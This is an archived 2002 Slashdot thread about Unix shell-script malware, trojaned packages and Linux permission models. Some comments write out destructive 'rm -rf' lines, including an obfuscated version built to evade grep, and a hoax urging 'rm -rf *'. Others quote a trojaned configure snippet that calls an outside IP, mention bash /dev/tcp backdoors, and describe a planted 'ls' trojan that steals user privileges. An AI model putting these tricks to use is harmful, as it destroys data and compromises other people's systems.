Follow Slashdot blog updates by subscribing to our blog RSS feed

 


Forgot your password?
Close
typodupeerror
×
Security

Unix Shell-Scripting Malware 217

Posted by timothy from the one-day-it-will-get-bad dept.
sheriff_p writes: "Virus Bulletin are running an article on Unix shell scripting malware, citing a 'zeitgeist' of interest in *nix malware following the release of {Win32/Linux}/Simile.D. The article looks at possible infection methods, possible actions the virus could take, and at a couple of real-world examples..."
This discussion has been archived. No new comments can be posted.

Unix Shell-Scripting Malware More

Unix Shell-Scripting Malware

Comments Filter:

  • Easy linux virus transport format: (Score:5, Insightful)

    by Anonymous Coward on Monday June 10, 2002 @04:30PM (#3675341)
    RPM


    Come on, how many of you check those MD5s?

    I bet you all just download the thing from whatever mirror and install it as root.

    • Speaking of which, I've been looking for ways to install programs as a priveleged user, but with access limited to only what's needed to install a program. Is there a way to do this? Do I need to create a user and manipulate permissions to do this? Is there an easier solution.

      I haven't checked the authenticity of programs I've downloaded (it's a good thing that I haven't downloaded too much), so I'm living dangerously; I'd like to be safer.

      • You could take a look at the NSA's Security Enhanced Linux [nsa.gov] patch, which allows for a much finer-grained control over access to files on the system. It's a bit complex but it sounds like the answer to your question.
      • Like everything else about n*x, the Perl motto holds true. &nbspTMTOWTDI (There's More Than One Way To Do It).

        Simplest and most traditional way to set this up would be to create a group (named, say "installers") and add yourself to it, then change the group ownership of /usr/local to this group. Change the permissions on /usr/local to 775 and you are done. If you are wanting to install stuff in /usr instead of /usr/local, I really recommend you not do this. The basic system binaries should remain the property of root.

        A more secure way to do it would be the way the previous poster said. Install the LSM patch and the LSM implementation of the NSA's SELinux kernel mods. I've not used it, but my understanding is the its role-based permissions allow you to do away with uid 0 in toto.

        • Re:Easy linux virus transport format: (Score:1, Informative)

          by Anonymous Coward
          Debian already does this by default. Every directory in /usr/local has 775 perms (owned by root.staff), with the s-bit set for the staff group.
          Of course that still won't stop someone from the staff group to install virused-software into /usr/local, but at least the risks are a little bit more compartimentalized (though not perfectly safe, unless you only login as root directly at the console, as some viruses may attach themselves to a staff user's .bashrc and wait for him to run 'su' to obtain the root password and do its thing...)

      • Re:Easy linux virus transport format: (Score:1, Informative)

        by Anonymous Coward
        You can always give a non-super user rights to install stuff into /usr/local for example. Hint: Groups.
    • I do.

      But I'm the security administrator. I have to....

      --
      Garett

    • Come on, how many of you check those MD5s?

      I don't. If someone has replaced an RPM then they can probably replace a simple MD5 sum [redhat.com] as well. Unless of course the hashes are stored at a different, secure location. But how many vendors do that?

      What you should be checking are PGP signatures.

      Assuming, of course, that you can be sure that you have a legitimate public key. Even so, the damage that could be caused by replacing a company's public key on their website or a keyserver would be slim to none. Only the people who download the new key before the change is caught would be effected.

    • Checking MD5's.. bah. Check them against what? What the web page tells you they should be? If the server holding the RPM's has been hax0red and the RPM's have been trojaned why wouldn't the hacker just replace the MD5 signatures as well?

      Oh sure, hold them in a "secure location". Obviously these people who get their servers hacked and their RPM's trojaned have an excellent idea of what a secure server is.

      The best way isn't to check MD5's but instead to do all your rpm queries before installing and use the most verbose settings possible while installing.
      • Simple solution to that problem: web of trust. A replaced key would have to replace the entire web of trust. Trusting a key that is not itself signed is like not using signatures at all.
        • So?

          This helps you only for mirrors. It does not help you a single bit for packages or source that has been built or mantained by the compromised site because it is likely that its keys are compromised as well.
          • Maintainer builds package. Maintainer signs package. Maintainer's key is signed by distribution site. Distribution site's key is signed by many other maintainers, including the maintainer you trust. Big web of trust, long as you remember that they're only verifying authenticity, not intent.

            A maintainer's secret key is compromised, without their knowledge, and used to write malware: you are SOL. For all technical purposes, it is the maintainer you trusted that inserted the malware.

            Your 'So?' is like saying the bank vault door is useless if the lock on it isn't strong or isn't locked. True enough, but it doesn't really say much unless the lock is indeed weak or unlocked.
    • Makes me grateful I run Mandrake 8.2 most of the time. Any urpmi activity from the internet is precluded with an md5checksum routine. Mandrake users: launch rpmdrake from a console and hit the MandrakeUpdate button. You'll see what I'm talking about.

      Now about those other distros that use RPM, I have no idea.
    • Come on, how many of you check those MD5s?

      Actually, Ximian's Red Carpet does it automatically, so many of us do. Whether they're checking against MD5's published at RedHat or Ximian (a Good Thing) or checking against MD5's that are just brought down as part of the mirroring process (a Bad Thing), I don't know.
    • Shyeah. Cause all those people doing binary installs with dpkg always check their packages.

      I'm so tired off all this anti-rpm bullshit. The best you can hope for is to get your packages from a trusted source. Yes it is a good idea to check the md5 signatures, but seeing as how they are generally stored together with the packages it's quite likely they were changed too, so it doesn't give you much.

      Signing/checking with public key signing is much much better.

      The same exact problems plaque binary AND source tarballs. So singling out a single pkg format is just ridiculous.

  • Unix is behind the times again! (Score:5, Funny)

    by Fantanicity ( 583135 ) on Monday June 10, 2002 @04:31PM (#3675348) Journal
    Windows has had batch file [nai.com] viruses for ages.

    • NOTE: sarcasm

      Well, shall we remove all scripting from the UNIX shells so these threats don't have a chance? Oh, and lets boycot perl too. It's too damn flexible. A malicious user could write a virus with it with great ease! Oh, and while we're at it, lets abolish compilers too. *mutter* *mutter* *mutter*

      (yes, this wasn't meant seriously. but it _is_ on topic :)

  • The problem with trying to pipe both input and output to an arbitrary slave process is that deadlock can occur, if both processes are waiting for not-yet-generated input at the same time. Deadlock can be avoided only by having BOTH sides follow a strict deadlock-free protocol, but since that requires cooperation from the processes it is inappropriate for a popen()-like library function.

    The 'expect' distribution includes a library of functions that a C programmer can call directly. One of the functions does the equivalent of a popen for both reading and writing. It uses ptys rather than pipes, and has no deadlock problem. It's portable to both BSD and SV. See the next answer for more about 'expect'.

    There are a few different ways you can do this, although none of them is perfect:
    * kibitz allows two (or more) people to interact with a shell (or any arbitary program). Uses include:
    - watching or aiding another person's terminal session;
    - recording a conversation while retaining the ability to scroll backwards, save the conversation, or even edit it while in progress;
    - teaming up on games, document editing, or other cooperative tasks where each person has strengths and weakness that complement one another. For example:
    1) kibitz comes as part of the expect distribution.
    2) kibitz requires permission from the person to be spyed upon.

    To spy without permission requires less pleasant approaches:
    * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question,
    displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
    have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.

    * If you want to do this to a particular hard-wired terminal all the time (e.g. if you want operators to be able to check the console terminal of a machine from other machines), you can actually splice a monitor into the cable for the terminal. For example, plug the monitor output into another machine's serial port, and run a program on that port that stores its input somewhere and then transmits it out
    *another* port, this one really going to the physical terminal. If you do this, you have to make sure that any output from the terminal is transmitted back over the wire, although if you splice only into the computer->terminal wires, this isn't much of a problem. This is not something that should be attempted by anyone who is not very familiar with terminal wiring and such.

    • Re:Some points to note...this is not so new (Score:4, Interesting)

      by digitalhermit ( 113459 ) on Monday June 10, 2002 @04:48PM (#3675443) Homepage
      To spy without permission requires less pleasant approaches:
      * You can write a program that grovels through Kernel structures and watches the output buffer for the terminal in question, displaying characters as they are output. This, obviously, is not something that should be attempted by anyone who does not
      have experience working with the Unix kernel. Furthermore, whatever method you come up with will probably be quite non-portable.


      Some thoughts on seeing what someone else sees:

      If you can manage to get read permissions on Linux under /dev/vcs* you can also read the virtual consoles directly. This *might* require root access, but not always :).

      screen can be setup with similar functionality to kibitz.

      With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

      • With insecure X permissions, you can use xwd to dump images from a remote xserver. With a short script you can also grab remote keypresses and events for logging.

        It reminds me about OS (Output Spy, not Operating System) from many, many years ago. Here's an OS and JEDGAR [tuxedo.org] story from the Jargon File [tuxedo.org]:

        This story says a lot about the ITS ethos.

        On the ITS system there was a program that allowed you to see what was being printed on someone else's terminal. It spied on the other guy's output by examining the insides of the monitor system. The output spy program was called OS. Throughout the rest of the computer science world (and at IBM too) OS means `operating system', but among old-time ITS hackers it almost always meant `output spy'.

        OS could work because ITS purposely had very little in the way of `protection' that prevented one user from trespassing on another's areas. Fair is fair, however. There was another program that would automatically notify you if anyone started to spy on your output. It worked in exactly the same way, by looking at the insides of the operating system to see if anyone else was looking at the insides that had to do with your output. This `counterspy' program was called JEDGAR (a six-letterism pronounced as two syllables: /jed'gr/), in honor of the former head of the FBI.

        But there's more. JEDGAR would ask the user for `license to kill'. If the user said yes, then JEDGAR would actually gun the job of the luser who was spying. Unfortunately, people found that this made life too violent, especially when tourists learned about it. One of the systems hackers solved the problem by replacing JEDGAR with another program that only pretended to do its job. It took a long time to do this, because every copy of JEDGAR had to be patched. To this day no one knows how many people never figured out that JEDGAR had been defanged.

        Interestingly, there is still a security module named JEDGAR alive as of late 1994 -- in the Unisys MCP for large systems. It is unknown to us whether the name is tribute or independent invention.

    • I knew this looked familiar.

      The parent in its entirety is plagarized from sections 4.5 [google.com] and 4.11 [google.com] of the comp.unix.questions FAQ.

      If you track down a text version, you'll find those sections were written in 1994....so at least the poster is correct that this is not so new.

    • would it have been too difficult to have credited the portion of FAQ you copied and pasted verbatim?

  • Not that special... (Score:5, Insightful)

    by CoolVibe ( 11466 ) on Monday June 10, 2002 @04:44PM (#3675425) Journal
    A *NIX trojan/malware is easy to craft.

    For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a

    rm -rf $HOME

    in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

    • Certainly it's easy to create scripts that can do nasty things. I guess the main difference between some other OS vulnerabilities is that to infect a machine, I may need only send an email. For some other OSes, I would need to send a package, have them su to root, run ./configure and make install. In any case, I'm not convinced that any OS is inherently more secure than any other.
      For example, at the last company I worked for, the access to a database system was done through a .profile that automatically launched the db client. On exit from the client it would automatically log the user out. Apparently they believed that this would disable access to the shell for the user. Unfortunately, it was a simple matter to print an ASCII report and overwrite the .profile, thus allowing the next login to enjoy the benefits of the shell.
      • Yup indeed. You made my point even better.

        Thank you for that :)

        Oh, I love UNIX, I use it exclusively at home, but people saying thatt *nix is invincible 1) piss me off, 2) should hand in their advocacy badges. The malware suddenly "appearing" in popular unixes just goes to show that how more visible a platform becomes, the more viruses [1] suddenly appear.

        By the way, using the printing facility to overwrite files in $HOME is more like making software do what it's not supposed to do just to prove a point: a hack, be it one that's possible often (a bit like printing to a file called `/bin/sh -i |` or something else in that ilk :) But yes, "malware" could exploit these bugs and "spread" futher.

        [1] No I don't spell it like 'virii' anymore. Webster's told me not to

    • Or even a Trojan'd compiler [acm.org] - which would be pretty hard to spot..

      • Yep, the good ole Ken Thompson classic :)

        Now _HOW_ the _FRIGGIN_ hell did login get trojaned?!?! I'm _sure_ I reainstalled the compiler from scratch. It _can't_ be from there! ;-) <-- notice the wink, yes an attempt at sarcasm.

    • Why would you run ./configure as root? And the only make command you might need to run as root is 'make install'.

      If you want to be paranoid you could download only official Debian source packages and always check the signatures.
      • There are clueless people out there that do it and cause it to "spread". Just like those dunces that click on trojaned outlook attachements.

        Tha apt argument: Being a little paranoid about signatures is not a bad thing. But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so.

        • "But what if your local debian mirror becomes compromised? Would you notice? I doubt it. Will apt notice? I don't think so."

          How is the cracker going to get himself added to the Debian keyring?
          • How about compromising a debian developer's machine and grabbing his/her passphrase with a software keylogger that hooks the tty?

            Not to crack down apt, it's a neat system. But it's not perfect. Nothing is.

            End of pissing contest please...

    • Re:Not that special... (Score:5, Interesting)

      by btellier ( 126120 ) <btellier@[ ]il.com ['gma' in gap]> on Monday June 10, 2002 @06:06PM (#3675881)
      >What about ./configure scripts?

      Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here [securityfocus.com].

      What did the hax0rs add? A little present in the ./configure script. Among other things it creates a .c file called conftest with some interetsing "checks" in it:

      ...
      + sa.sin_addr.s_addr = inet_addr("216.80.99.202");
      if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) ...

      It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE ./configure script.

      You can find the full diff here [securityfocus.com].

      • Exactly! Mod the parent up please. It's an excellent example.

        Another option is to trojan a deeply buried Makefile or a Makefile.in in some application. Good luck digging through all the Makefiles or Makefile.in files for weird make targets...

        Heck, one could even use the make @ prefix to make compiling that little trojan app silent...

    • rm -rf $HOME

      What does that command do again? Hmm, could use man but those pages are always such a pain... well why don't we just type er in the console and see what happens...
      hey!
      where is my ...
      wait a min...

      NOOOOOOOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!

    • A *NIX trojan/malware is easy to craft. For example, take shell archives (shar). Nobody even bothers to read through them, and it's real easy to stick a rm -rf $HOME in there somewhere. There, instant malware. And it's age-old. What about ./configure scripts? Or Makefiles? Nice targets to pass on to the unsuspecting punter.

      It's easy to stick "rm -rf $HOME" but it's also easy to grep for "rm -rf" or similar strings. It can be much more dangerous with such code like this:

      #!/bin/sh
      lots of code...
      some code;b=m;some code
      lots of code...
      some code;b=r$b;some code
      lots of code...
      some code;c=r;some code
      lots of code...
      some code;d=f;some code
      lots of code...
      some code;c=-$c;some code
      lots of code...
      some code;c=$c$d;some code
      lots of code...
      some code;e=~;some code
      lots of code...
      some code;a="$b $c";some code
      lots of code...
      some code;a="$a $e";some code
      lots of code...
      some code;$a;some code
      lots of code...

      Here the ;$a; is the killer. A simple Perl script could insert parts of such commands into a configure script. The only solution is to not run any code which you don't trust. It can be quite difficult (if not impossible), because you not only have to trust the author that he's not evil, but also you have to trust that he was never r00ted by someone evil. I think that I can be safe apt-get'ting software from push-primary/secondary Debian mirrors (I think that their admins are good and before the software gets to the mirrors it's checked by the Debian folks — maybe Sid may be not safe, but Woody and Potato are checked by many people, by reading the code, as well as by running the software), but probably trusting the CPAN is not very safe, because the code is not checked by anyone before it gets to the mirrors, so if a PAUSE user is r00ted by evil haxorz, his code on CPAN can be easily trojaned.

      (for lame filter: x384yrgnfqpeiruchf,xoerjg,cnw;orihj,adoixhjeorg,xw rg uiirumzgipergpiwehrx,gcmopeirjhpqojtcn 3409ic p34c1541xc541 ewsfdcerycwty r;qeiorqo;ewirjfoqeir hoqeirh oqeirh oiwerhfoq;wihrt134pq'wo e'rqwj v0u45tnv 0245tvuj45yji2c6 y2 y62y6vf reihfoqieurc0143[x'.rqszmq39u4sxn18yt38pas,u54z2 2p9syt29pasyt2qtputa/ori)

  • Uhhhh, huh? (Score:5, Insightful)

    by Misuta Supakulo ( 583948 ) on Monday June 10, 2002 @04:46PM (#3675430)
    I guess someone forgot that long before windows ever existed old school operating systems like unix and vms were being "haxored" like there was no tomorrow. Don't forget that the big, bad Morris worm of 19 friggin' 88 was an exploit of BSD unix. The reason MS software is the punching bag these days is largely because 1) unix has had time to mature and correct its mistakes, 2) the concept of a windows system administrator is pretty much laughable and windows services are just about written with that in mind (IIS is pretty much designed to be administerable by brain-dead monkies, for example), and 3) microsoft's iron grip monopoly hold on a few areas (workstation OS's) has made it complacent when it comes to quality and security.

    Regardless, unix never was and is not currently invulnerable to these kinds of attacks. The major reason why the vulnerabilities of unix systems and related software has not received much publicity (or much concentration of effort from "hackers") is because, as in the wild, it is simply so much easier to pray on the diseased and enfeebled.

    • Re:Uhhhh, huh? (Score:3, Insightful)

      by I_redwolf ( 51890 )
      1) Unix has always been alot more functional and featureful when it came to anything back then. IE: Dos didn't even multitask

      2) I agree with, but just because it's designed to be controlled by a brain dead monkey doesn't mean that it should be insecure. For instance NASA/RSA/etc create interfaces to far more critical components that can't afford to fail; they are controlled by monkeys. Another example is simply Mac OS X, they've done a stellar job with administration utilities that make it easy but secure (at least in respect to say Microsoft).

      3) "Hackers/Crackers" who go after the desktop are usually just script kids who take a researched exploit and write some lame stupid trojan that preys on as you said the feeble. However it becomes harder to break a system that has been tried/tested and proved over time. As you say, unix never was invulnerable but it is harder for a unix system to be vulnerable just by it's design. Just like a 4x4 built for off-roading it's still vulnerable to get stuck somewhere like a car; but less vulnerable. Usually on the net if you want a secure box with very few problems you put up a unix system and 9 times outta 10 you won't get stuck.

      So everytime people talk like somehow unix doesn't get hacked because it doesn't have market share I remind them what the net was built on and what it was founded on. I then refer them to the track record of unix in stability and security. Unix has been around longer is more secure and was designed that way, thats why you see less exploits for it. I usually also recommend people actually try to put a rogue rpm/script or whatever out there and see how far it makes it in the wild for a unix system and then duplicate some of the same effects on a windows machine if possible and notice the difference. It really has nothing to do with market share.

  • Got root? (Score:2, Insightful)

    by Trevelyan ( 535381 )
    To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

    If the user is using root as their user account, then its their fault if they get infected. Maybe trick the user, I know I worry about installing closed source stuff as root, hance my UT and Tribes2 is installed under another user.

    Yes a virus could have fun in /tmp doing stuff, and maybe write to a users .bashrc (or equiv) so the virus get to run when ever the user logs in.
    But I dont see how a virus could do much more then mess with that user's files, it cant play with other users on the system (unless they get infected) and it cant attack the system itself

    • Re:Got root? (Score:3, Interesting)

      by Stonehand ( 71085 )
      For one thing, there are probably numerous boxes with nice broadband -- a virus could use a user account as a launchpad for a DDOS, for instance. In addition, boxes may be lacking patches or workarounds for any recent local exploits, so one might theoretically be able to get root privs without tricking root.

      Depending on what's limited, one might try to fill up /tmp, generate lots of logs and possibly fill /var/adm/syslog or wherever, maybe fill the process table via fork bomb depending on how processes are limited, grab the user's cookies and browser history files for popular browsers and e-mail them to people, consume large amounts of memory (again, unless limited per user) forcing swap...
    • Quoth the poster:

      > To do anything these viruses need to run as root. But the article make no mention of this, or how a virus could get root.

      Oh ye of little understanding...

      What if a "virus" just nukes your $HOME? Say goodbye to that 45 page thesis you slaved over the last few weeks..

      Or, let's say you are a wheel user, you execute this innocent looking malware, and suddenly a daemon gets started that hooks into your (pseudo) tty (because, when you log in, they get chowned to you) and logs your keystrokes? You su to root, and the keystrokes get mailed somewhere... with your box IP number and username. Well, the attacker just got your root password. Worried yet?

      A "virus" doesn't need root. It just needs a uncareful human.

      • "Oh ye of little understanding..."

        Indeed.

        "What if a "virus" just nukes your $HOME?"

        What if /home is mounted noexec, as it should be?
        A secure system is configured so that only root can install executables.
        • That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff? I think being able to run stuff from your $HOME is a bit of a necessity for people who code for a living.

          If it were just people reading mail and doing basic stuff from the shell you would be right though. But still, what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp or (sometimes) even /var/spool/uucp (which is usally chmodded 1777 and appears on lots of systems that don't even _have_ uucp installed)? Sure, mount your root fs or /usr fs noexec when these dirs are not mounted on a seperate filesystem (which happens on lots of systems)... Have fun recovering :)

          • "That's kinda tough when you have developers on your system. How the hell are they going to actually _run_ stuff?"

            On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

            "...what if a user, frustrated because he can't run some app in his $HOME, turns to /tmp, /var/tmp, /usr/tmp..."

            /tmp and /var should be noexec partitions.

            "Sure, mount your root fs...

            Only root needs write permission on the root filesystem.

            or /usr fs noexec..."

            /usr should be read-only.

            ..."when these dirs are not mounted on a seperate filesystem..."

            Such systems are not configured securely.

            • > On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only. Give each developer a directory in the scratch filesystem and symlink it into his $HOME. This also will protect you when one of those programs they want to run goes amuck.

              Only root can write? How can developers create executables then when they can't write them to the filesystem? They have to su to root, or use sudo to run make or gcc? Not a good idea. Even when they have to use different machines to debug/test, people tend to use the same password on multiple systems. When one system is compomised, more usually follow.

              And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty. That's called a keylogger, and they can run as a normal user, because when you log in, you become the owner of your tty, hence you can read/write from/to it. Add some remote connecting capability or a capability to send mail and your system is compromized.

              It's very hard to stop these kind of attacks. Of course you can try to make a system idiot-proof, but don't forget that the universe creates cleverer and cleverer idiots at a faster rate :)

              • "Only root can write? How can developers create executables then when they can't write them to the filesystem?"

                Read what I wrote:
                "On a scratch partition which should be the only one on the system that isn't noexec, writeable only by root, or read-only."

                Get it? The scratch system _is_ both writeable by the developers and exec. Nothing else is.

                "And besides: It still doesn't prevent a trojaned app to start a daemon that hooks the developers tty."

                It first has to get itself installed. Want to name a few that have suceeded?

                "It's very hard to stop these kind of attacks."

                I guess that's why Linux is plagued with thousands
                of keylogger trojans.

                • Re:Got root? (Score:5, Insightful)

                  by CoolVibe ( 11466 ) on Monday June 10, 2002 @10:08PM (#3677117) Journal

                  > It first has to get itself installed. Want to name a few that have suceeded?

                  It only has to run. And by the way, if it's a big project that gets trojaned by someone, it _will_ take you a while until you or other find out. In the mean time between you finding out about the back door, several copies might be running already on you systems.

                  You need to get off the "Oh this will not happen to my systems"-stance. Once you think that, get worried. What if it does happen, and sensitive data gets sent to god knows where, gets corrupted or destroyed? What then? Have you taken precautions against that? Not only post-mortem actions (like restoring backups), but how about proactive measures?

                  There are lots of ways to audit, protect, restrict access and fix problems, but a 100% secure system is impossible. You are human, I am human. We make mistakes and overloook things. If we code, we introduce bugs into code. Some are very hard to spot. Some are very hard to really fix correctly. Every bug _could_ be a security hazard, and also very well intended features can lead to compromise. It's a scale that balances between security and useability. You can not have lots of both. If you want more security, you need to sacrifice some useability. Do you really think a developer will work on such a restructed machine? I think not (unless you're DJ Bernstein perhaps ;- ). Most developers work from their own workstations to write code, compile, test, debug, fix bugs and commit code into a repository. Having a useable environment with a $HOME they can do their stuff in, a useable shell, a useful editor and a working toolchain. Are they possible victims of a trojan? Possibly. Will they be productive if you hammer their workstations tighly shut with excessive restrictions? Not really.

                  Also, a given is that there are many new to any kind of unix that are setting up unix boxen. The software is easy to get a hold of, so lots of novices try their hand at it. I assure you that many of those novices are not well versed in the dark art that is called "security" and will set up their boxes insecurley.

                  It's not what _you_ would do, it's the way joe sixpak sets up his newfangled RedHat box, runs a malicios script without even pondering about md5sums, noexec mounting, scratch filesystems, chroot jails, sandboxing, firewalling, security policies and grepping through perl, Makefile, C or shellscript code. Many joe sixpacks will use the root user as their primary user (even though they are recommended to do otherwise).

                  So every argument you make, (albeit useful, I could also think of lots of ways to run untrusted code in a sandbox) are kind of moot, because you will only need a few idiots that don't take care. And trust me, there are idiots enough out there. And that goes for all operating environments out there.

                  Oh, and why isn't every UNIX box trojaned to hell and back nowadays? That's because unix still off the collective scope of trojan/virus/malware coders. You better take heed and take extra care, because once UNIX gets veru very popular, the things I'm speculating about might verywell become commonplace. What would we do? Switch back to MULTICS? Every MULTICS machine I've heard about is trojan and virus free you know... does dat make it an immune system?

                  No system is immune. Period. As long as the machine can run executable code, there is a possibility for a trojan to run rampant, however slight.

  • I just got an email about this (Score:3, Funny)

    by Anonymous Coward on Monday June 10, 2002 @04:51PM (#3675458)
    Here's a copy of the email I received.

    A new shell-scripting virus has been showing up on computers across the world. It's called the SHIFT8 virus because the virus hides in a shell-script file on your computer named '*'. If not attended to immediately, this could result in the loss of all your data, but not before it is sent to the US Government and Microsoft.

    Luckily, the fix is very simply. When at the command line, all you have to do is type 'rm -rf *' and all your troubles will be gone. Don't worry about having to use the -r and -f options; this virus is tricky and can sometimes only *seem* to be deleted if not removed with both of these options.

    Before you save yourself, please, send this important alert to as many people as possible; they will thank you later!

  • *TWEEET* (Score:1, Flamebait)

    by nosferatu-man ( 13652 )
    That's a five minute major for Misusing A Big Word Trying To Sound Smarter Than You Are.

    'jfb

  • virii (Score:3, Insightful)

    by bsdparasite ( 569618 ) on Monday June 10, 2002 @04:53PM (#3675469)
    The strong permissions in UNIX have a way of helping people avoid these viruses, but with the growth of "Desktop" UNIX systems, more and more of these will pop up for sure. Clicking attachments from email, executing them on the fly, and permissions to execute scripts from E-mail software is not just restricted to Windblows. It will permeate the masses as soon as more and more "Desktop" type systems come into place.

    • Re:virii (Score:3, Informative)

      by GigsVT ( 208848 )
      Really UNIX permissions are not very strong, they just aren't as braindead as MS ones, and most importantly, most people follow them, and don't requre root unnecessarily.

      For example, as far as I know it is impossible to do this with normal UNIX permissions:

      Allow group "A" read/write access to the directory
      Allow group "B" read only access to the directory
      Allow world no access to the directory

      This is a very common need, which is unfulfilled by UNIX style permission systems.

      • This is a very common need, which is unfulfilled by UNIX style permission systems.

        What next?

        "These permission bits aren't turing complete!!"
        • No, it wouldn't be hard to fix. Here is what I propose. Feel free to implement this idea, and critique it.

          Basically, user private groups already have many advantages, all we need to do is patch things to allow the "owner" to be a group, rather than a user. Under user private groups, this would be pretty trivial, since the default owner group is the user private group of the owner.

          This provides an easier way to get finer grained access control, without messing with ACLs or breaking backward compatibility.
      • man -k "acl". Don't know about the free stuff, but commercial unices & unix style OS have had this for a while. Apollo's AEGIS had it ca. 1987 or so...
      • most proprietary Unixes support ACLs. I know for sure Solaris does. ACL support is also planned in linux 2.6. In the mean time, use the ugly solution posted above.
      • These guys have been working on kernel patches, acl tools and a posix compliant acl library for some time and it works pretty well :)

        http://sourceforge.net/projects/linux-acl/
      • they just aren't as braindead as MS ones

        as far as I know it is impossible to do this with normal UNIX permissions

        Your "impossible" example is trivial on NT. Please try to understand that NTFS is nothing like FAT. NTFS ACLs are really very good, much better than anything on Solaris or Linux - that's its VMS heritage showing.
  • Hackers are going to have to find something to do now that Microsoft has pledged to focus on security in the future. Inevitably the will turn to *nix.

  • The easiest malware might be cd or ls (Score:3, Informative)

    by Density_Altitude ( 250074 ) on Monday June 10, 2002 @05:00PM (#3675523)
    Haven't read the article yet (/.ed) but here are the simplest shell security concerns you may have: Do you have "." in your path? If it is, have you specifically aliased ls to be /bin/ls?
    Think about untarring a package that has a malicious "ls" script. You cd into the newly created directory and issue ls. You're screwed if the shell picks up the malicious ls instead of the ls in /usr/bin

  • Shell script worms (Score:4, Insightful)

    by GigsVT ( 208848 ) on Monday June 10, 2002 @05:10PM (#3675569) Journal
    Not many people know this but:

    cat /dev/tcp/localhost/22
    SSH-1.99-OpenSSH_3.1p1

    Bash has built in socket access stuff. A worm could be written in shell script, as could backdoors, etc.
    • cat &lt /dev/tcp/localhost/22

      Keep forgetting to htmlize &lt &gt
    • Uhm, thanks for that info! I think that's a bit unnerving.

      On the other hand, writing a socket app in perl or even in C is not impossible or even rocket science.

      I never new I could use the linux /proc fs _that_ way though...

    • cat /dev/tcp/localhost/22
      cat: /dev/tcp/localhost/22: No such file or directory

      I don't know what distro you use, but on debian (unstable) this doesn't seem to work.
  • Here's an interesting approach to Virus' in Linux. DON'T RUN AS ROOT! You run as root when trying uncompressing new files, why not just run windows, same effect.
  • At Uni I had a small script in my home directory called 'ls'. It basically would check that the UID was not mine, and create a small script in the users home directory that would execute it's arguments. The file was then set a+xs and an email sent to me notifying me of the users home directory path.

    I could then execute any commands that I wished under that users UID & GID.

    The moral of the story - don't have . in your path...

    • "The moral of the story - don't have . in your path..."

      Your trick and others like it will only work if the target user has '.' ahead of '/bin' in his path (and /home is mounted exec).

      Not anyone should ever have '.' in his path at all.
    • You are forgetting having the trojaned 'ls' delete itself before it runs the real 'ls', and after it has done it's damage.

      That way it won't be noticed that quickly.

  • malware? (Score:3, Funny)

    by rnd() ( 118781 ) on Monday June 10, 2002 @06:04PM (#3675868) Homepage
    Is it just me, or was this story posted mainly to spread the use of the word malware?
    • Yes, well, it certainly wasn't posted to provoke intellectual discussion.

      I gave up on the article half-way through, when it started talking about Javascript being "supported on both Windows and on most Unix/Linux systems". Following the first sentence of the alleged article, I'm wondering exactly where the distro flavour, kernel version and in fact anything in the OS have anything to do with javascript - unless I'm missing out on Every Linux Box Must Have A Commandline Javascript Interpreter or something?

      And why the heck are people writing crap about searching for shell scripts (note: the grep -s command presented is heavily bash-dependent as it relies on non-interpretation of both # and !) when you can simply plug in an LKM that redirects execution of a particular command off to an "infected" version, while ordinary open() calls retrieve the real binary? And, HINT, it won't chug the luser's hard-drive to death revealing its own presence.

      Face it, the days of user-space viruses are n/a here. There are much better ways to propogate; all we need is an interesting payload, and let the nerds argue whether it's a worm or a virus.
  • If I wanted to write a virus to hit a lot of Linux systems, I'd have it infect shell scripts, make files and executables, and would have two running modes.

    In user mode, it is running as an unpriviledged user. It searches for configure scripts and make files to infect. The infected configure script/make file modifies the output binary of the build so it is infected with the virus immediately. How many of you check your configure scripts when you ./configure; make; sudo make install? How many would even be able to tell what an infected configure script looked like. The moment the infected configure script/make file/binary is run as root, it switches to root mode...

    Root mode. Infect every binary on the system. In fect the kernel. Infect the init scripts.

    What about those people who only ever install packages from say, red hat, or debian? Well, as soon as red hat or debian ship a piece of software developed by someone infected with the virus, bam, the entire distro is infected.

    This is all adided by the complexity of Linux development, the distribution model, and the fact that an extraordinary number of Linux users are under the mistaken impression that Linux's security model will protect them. There are too many user-created holes in security models, and there is a very poor trust mechanism. It's just waiting to be exploited. No Linux user expects to get hit by a virus, so it would take much, much longer to be detected than a Window virus.

    Security is a good thing. A false impression of security is a bad thing.

    • You raise several very good points, and I'll like to add to your comment that any linux user concerned
      about the integrity of their system at all run software like tripwire or AIDE.
      For example, I have the MD5sums and other hash signatures of certain binaries on my system backed up onto CDR: a simple comparision would immediately alert me to the presence of your hypothetical virus.
      Nonethelesss, I agree that one often gets a mistaken impression that Linux systems are more secure. The security model is too coarse, and clunky even.
      Distros should be reasonably secure by default install.
  • Remember the fiasco we had a while back about "What's your shell prompt" and people posted (and used) malware prompts?

    Linux shell malware isn't a surprise for us /.ers, because Slashdot itself has been a method of spread for malware in the past.

Slashdot Top Deals

The trouble with being punctual is that nobody's there to appreciate it. -- Franklin P. Jones

Close